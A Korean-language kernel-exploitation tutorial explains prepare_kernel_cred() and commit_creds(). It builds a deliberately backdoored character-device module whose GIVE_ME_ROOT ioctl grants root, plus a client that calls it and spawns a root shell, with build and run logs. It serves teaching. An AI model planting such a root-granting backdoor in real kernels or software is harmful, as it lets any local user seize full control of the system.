Excuse the ads! We need some help to keep our site up.
validate_creds() 함수에 의해 전달된 자격 증명(old)의 유효성을 검사 합니다.
atomic_set()함수에 의해 "&new→usage" 영역에 1이 설정됩니다.
set_cred_subscribers() 함수를 이용하여 "&cred→subscribers" 영역에 0이 설정됩니다.
get_uid(), get_user_ns(), get_group_info() 새 자격 증명의 uid, user namespace, group info를 조회합니다.
security_prepare_creds()함수를 이용하여 현재 프로세스의 자격 증명을 변경합니다.
struct cred *prepare_kernel_cred(struct task_struct *daemon) { const struct cred *old; struct cred *new; new = kmem_cache_alloc(cred_jar, GFP_KERNEL); if (!new) return NULL; kdebug("prepare_kernel_cred() alloc %p", new); if (daemon) old = get_task_cred(daemon); else old = get_cred(&init_cred); validate_creds(old); *new = *old; atomic_set(&new->usage, 1); set_cred_subscribers(new, 0); get_uid(new->user); get_user_ns(new->user_ns); get_group_info(new->group_info); #ifdef CONFIG_KEYS new->session_keyring = NULL; new->process_keyring = NULL; new->thread_keyring = NULL; new->request_key_auth = NULL; new->jit_keyring = KEY_REQKEY_DEFL_THREAD_KEYRING; #endif #ifdef CONFIG_SECURITY new->security = NULL; #endif if (security_prepare_creds(new, old, GFP_KERNEL) < 0) goto error; put_cred(old); validate_creds(new); return new; error: put_cred(new); put_cred(old); return NULL; } EXPORT_SYMBOL(prepare_kernel_cred); |
struct cred init_cred = { .usage = ATOMIC_INIT(4), #ifdef CONFIG_DEBUG_CREDENTIALS .subscribers = ATOMIC_INIT(2), .magic = CRED_MAGIC, #endif .uid = GLOBAL_ROOT_UID, .gid = GLOBAL_ROOT_GID, .suid = GLOBAL_ROOT_UID, .sgid = GLOBAL_ROOT_GID, .euid = GLOBAL_ROOT_UID, .egid = GLOBAL_ROOT_GID, .fsuid = GLOBAL_ROOT_UID, .fsgid = GLOBAL_ROOT_GID, .securebits = SECUREBITS_DEFAULT, .cap_inheritable = CAP_EMPTY_SET, .cap_permitted = CAP_FULL_SET, .cap_effective = CAP_FULL_SET, .cap_bset = CAP_FULL_SET, .user = INIT_USER, .user_ns = &init_user_ns, .group_info = &init_groups, }; |
#define GLOBAL_ROOT_UID KUIDT_INIT(0) #define GLOBAL_ROOT_GID KGIDT_INIT(0) |
typedef struct { uid_t val; } kuid_t; typedef struct { gid_t val; } kgid_t; #define KUIDT_INIT(value) (kuid_t){ value } #define KGIDT_INIT(value) (kgid_t){ value } |
euid
)이라는 의미로 프로세스가 파일에 대해 가지는 권한을 뜻합니다.rcu_assign_pointer() 함수를 이용하여 현재 프로세스의 "task->real_cred", "task→cred" 영역에 새로운 자격 증명을 등록합니다.
put_cred() 함수를 이용하여 이전에 사용된 자격 증명을 모두(old obj and subj)해제 합니다.
int commit_creds(struct cred *new) { struct task_struct *task = current; const struct cred *old = task->real_cred; kdebug("commit_creds(%p{%d,%d})", new, atomic_read(&new->usage), read_cred_subscribers(new)); BUG_ON(task->cred != old); #ifdef CONFIG_DEBUG_CREDENTIALS BUG_ON(read_cred_subscribers(old) < 2); validate_creds(old); validate_creds(new); #endif BUG_ON(atomic_read(&new->usage) < 1); get_cred(new); /* we will require a ref for the subj creds too */ /* dumpability changes */ if (!uid_eq(old->euid, new->euid) || !gid_eq(old->egid, new->egid) || !uid_eq(old->fsuid, new->fsuid) || !gid_eq(old->fsgid, new->fsgid) || !cred_cap_issubset(old, new)) { if (task->mm) set_dumpable(task->mm, suid_dumpable); task->pdeath_signal = 0; smp_wmb(); } /* alter the thread keyring */ if (!uid_eq(new->fsuid, old->fsuid)) key_fsuid_changed(task); if (!gid_eq(new->fsgid, old->fsgid)) key_fsgid_changed(task); /* do it * RLIMIT_NPROC limits on user->processes have already been checked * in set_user(). */ alter_cred_subscribers(new, 2); if (new->user != old->user) atomic_inc(&new->user->processes); rcu_assign_pointer(task->real_cred, new); rcu_assign_pointer(task->cred, new); if (new->user != old->user) atomic_dec(&old->user->processes); alter_cred_subscribers(old, -2); /* send notifications */ if (!uid_eq(new->uid, old->uid) || !uid_eq(new->euid, old->euid) || !uid_eq(new->suid, old->suid) || !uid_eq(new->fsuid, old->fsuid)) proc_id_connector(task, PROC_EVENT_UID); if (!gid_eq(new->gid, old->gid) || !gid_eq(new->egid, old->egid) || !gid_eq(new->sgid, old->sgid) || !gid_eq(new->fsgid, old->fsgid)) proc_id_connector(task, PROC_EVENT_GID); /* release the old obj and subj refs both */ put_cred(old); put_cred(old); return 0; } EXPORT_SYMBOL(commit_creds); |
#include <linux/init.h> #include <linux/module.h> #include <linux/types.h> #include <linux/kernel.h> #include <linux/fs.h> #include <linux/cdev.h> #include <linux/sched.h> #include <linux/device.h> #include <linux/slab.h> #include <asm/current.h> #include <linux/uaccess.h> #include <linux/cred.h> #include "escalation.h" MODULE_LICENSE("Dual BSD/GPL"); #define DRIVER_NAME "chardev" static const unsigned int MINOR_BASE = 0; static const unsigned int MINOR_NUM = 1; static unsigned int chardev_major; static struct cdev chardev_cdev; static struct class *chardev_class = NULL; static int chardev_open(struct inode *, struct file *); static int chardev_release(struct inode *, struct file *); static ssize_t chardev_read(struct file *, char *, size_t, loff_t *); static ssize_t chardev_write(struct file *, const char *, size_t, loff_t *); static long chardev_ioctl(struct file *, unsigned int, unsigned long); struct file_operations s_chardev_fops = { .open = chardev_open, .release = chardev_release, .read = chardev_read, .write = chardev_write, .unlocked_ioctl = chardev_ioctl, }; static int chardev_init(void) { int alloc_ret = 0; int cdev_err = 0; int minor = 0; dev_t dev; printk("The chardev_init() function has been called."); alloc_ret = alloc_chrdev_region(&dev, MINOR_BASE, MINOR_NUM, DRIVER_NAME); if (alloc_ret != 0) { printk(KERN_ERR "alloc_chrdev_region = %d\n", alloc_ret); return -1; } //Get the major number value in dev. chardev_major = MAJOR(dev); dev = MKDEV(chardev_major, MINOR_BASE); //initialize a cdev structure cdev_init(&chardev_cdev, &s_chardev_fops); chardev_cdev.owner = THIS_MODULE; //add a char device to the system cdev_err = cdev_add(&chardev_cdev, dev, MINOR_NUM); if (cdev_err != 0) { printk(KERN_ERR "cdev_add = %d\n", alloc_ret); unregister_chrdev_region(dev, MINOR_NUM); return -1; } chardev_class = class_create(THIS_MODULE, "chardev"); if (IS_ERR(chardev_class)) { printk(KERN_ERR "class_create\n"); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); return -1; } device_create(chardev_class, NULL, MKDEV(chardev_major, minor), NULL, "chardev%d", minor); return 0; } static void chardev_exit(void) { int minor = 0; dev_t dev = MKDEV(chardev_major, MINOR_BASE); printk("The chardev_exit() function has been called."); device_destroy(chardev_class, MKDEV(chardev_major, minor)); class_destroy(chardev_class); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); } static int chardev_open(struct inode *inode, struct file *file) { printk("The chardev_open() function has been called."); return 0; } static int chardev_release(struct inode *inode, struct file *file) { printk("The chardev_close() function has been called."); return 0; } static ssize_t chardev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) { printk("The chardev_write() function has been called."); return count; } static ssize_t chardev_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos) { printk("The chardev_read() function has been called."); return count; } static struct ioctl_info info; static long chardev_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { printk("The chardev_ioctl() function has been called."); switch (cmd) { case SET_DATA: printk("SET_DATA\n"); if (copy_from_user(&info, (void __user *)arg, sizeof(info))) { return -EFAULT; } printk("info.size : %ld, info.buf : %s",info.size, info.buf); break; case GET_DATA: printk("GET_DATA\n"); if (copy_to_user((void __user *)arg, &info, sizeof(info))) { return -EFAULT; } break; case GIVE_ME_ROOT: printk("GIVE_ME_ROOT\n"); commit_creds(prepare_kernel_cred(NULL)); return 0; default: printk(KERN_WARNING "unsupported command %d\n", cmd); return -EFAULT; } return 0; } module_init(chardev_init); module_exit(chardev_exit); |
#ifndef CHAR_DEV_H_ #define CHAR_DEV_H_ #include <linux/ioctl.h> struct ioctl_info{ unsigned long size; char buf[128]; }; #define IOCTL_MAGIC 'G' #define SET_DATA _IOW(IOCTL_MAGIC, 2 ,struct ioctl_info) #define GET_DATA _IOR(IOCTL_MAGIC, 3 ,struct ioctl_info) #define GIVE_ME_ROOT _IO(IOCTL_MAGIC, 0) #endif |
obj-m = escalation.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean |
open() 함수를 이용하여 "/dev/chardev0" 파일을 열어 fd값을 얻습니다.
ioctl() 함수를 이용하여 해당 프로세스에서 ROOT 권한을 얻기위해 fd, "GIVE_ME_ROOT"을 인자 값으로 전달합니다.
close() 함수를 이용하여 fd를 닫습니다.
execl() 함수를 이용하여 "/bin/sh" 명령을 실행합니다.
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioctl.h> #include <fcntl.h> #include "escalation.h" void main() { int fd, ret; fd = open("/dev/chardev0", O_NOCTTY); if (fd < 0) { printf("Can't open device file\n"); exit(1); } ret = ioctl(fd, GIVE_ME_ROOT); if (ret < 0) { printf("ioctl failed: %d\n", ret); exit(1); } close(fd); execl("/bin/sh", "sh", NULL); } |
lazenca0x0@ubuntu:~/Kernel/Module/escalation$ make make -C /lib/modules/4.18.0-11-generic/build M=/home/lazenca0x0/Kernel/Module/escalation modules make[1]: Entering directory '/usr/src/linux-headers-4.18.0-11-generic' Makefile:982: "Cannot use CONFIG_STACK_VALIDATION=y, please install libelf-dev, libelf-devel or elfutils-libelf-devel" CC [M] /home/lazenca0x0/Kernel/Module/escalation/escalation.o Building modules, stage 2. MODPOST 1 modules CC /home/lazenca0x0/Kernel/Module/escalation/escalation.mod.o LD [M] /home/lazenca0x0/Kernel/Module/escalation/escalation.ko make[1]: Leaving directory '/usr/src/linux-headers-4.18.0-11-generic' lazenca0x0@ubuntu:~/Kernel/Module/escalation$ sudo insmod escalation.ko [sudo] password for lazenca0x0: lazenca0x0@ubuntu:~/Kernel/Module/escalation$ |
lazenca0x0@ubuntu:~/Kernel/Module/escalation$ gcc -o test test.c lazenca0x0@ubuntu:~/Kernel/Module/escalation$ ls -al ./test -rwxrwxr-x 1 lazenca0x0 lazenca0x0 16744 Nov 29 22:27 ./test lazenca0x0@ubuntu:~/Kernel/Module/escalation$ ./test # id uid=0(root) gid=0(root) groups=0(root) # |
lazenca0x0@ubuntu:~/Kernel/Module/escalation$ dmesg |tail [ 50.430318] Bluetooth: RFCOMM TTY layer initialized [ 50.430322] Bluetooth: RFCOMM socket layer initialized [ 50.430326] Bluetooth: RFCOMM ver 1.11 [ 51.928891] rfkill: input handler disabled [15332.953156] escalation: loading out-of-tree module taints kernel. [15332.953272] escalation: module verification failed: signature and/or required key missing - tainting kernel [15332.953941] The chardev_init() function has been called. [15437.458201] The chardev_open() function has been called. [15437.458203] The chardev_ioctl() function has been called. [15437.458203] GIVE_ME_ROOT lazenca0x0@ubuntu:~/Kernel/Module/escalation$ |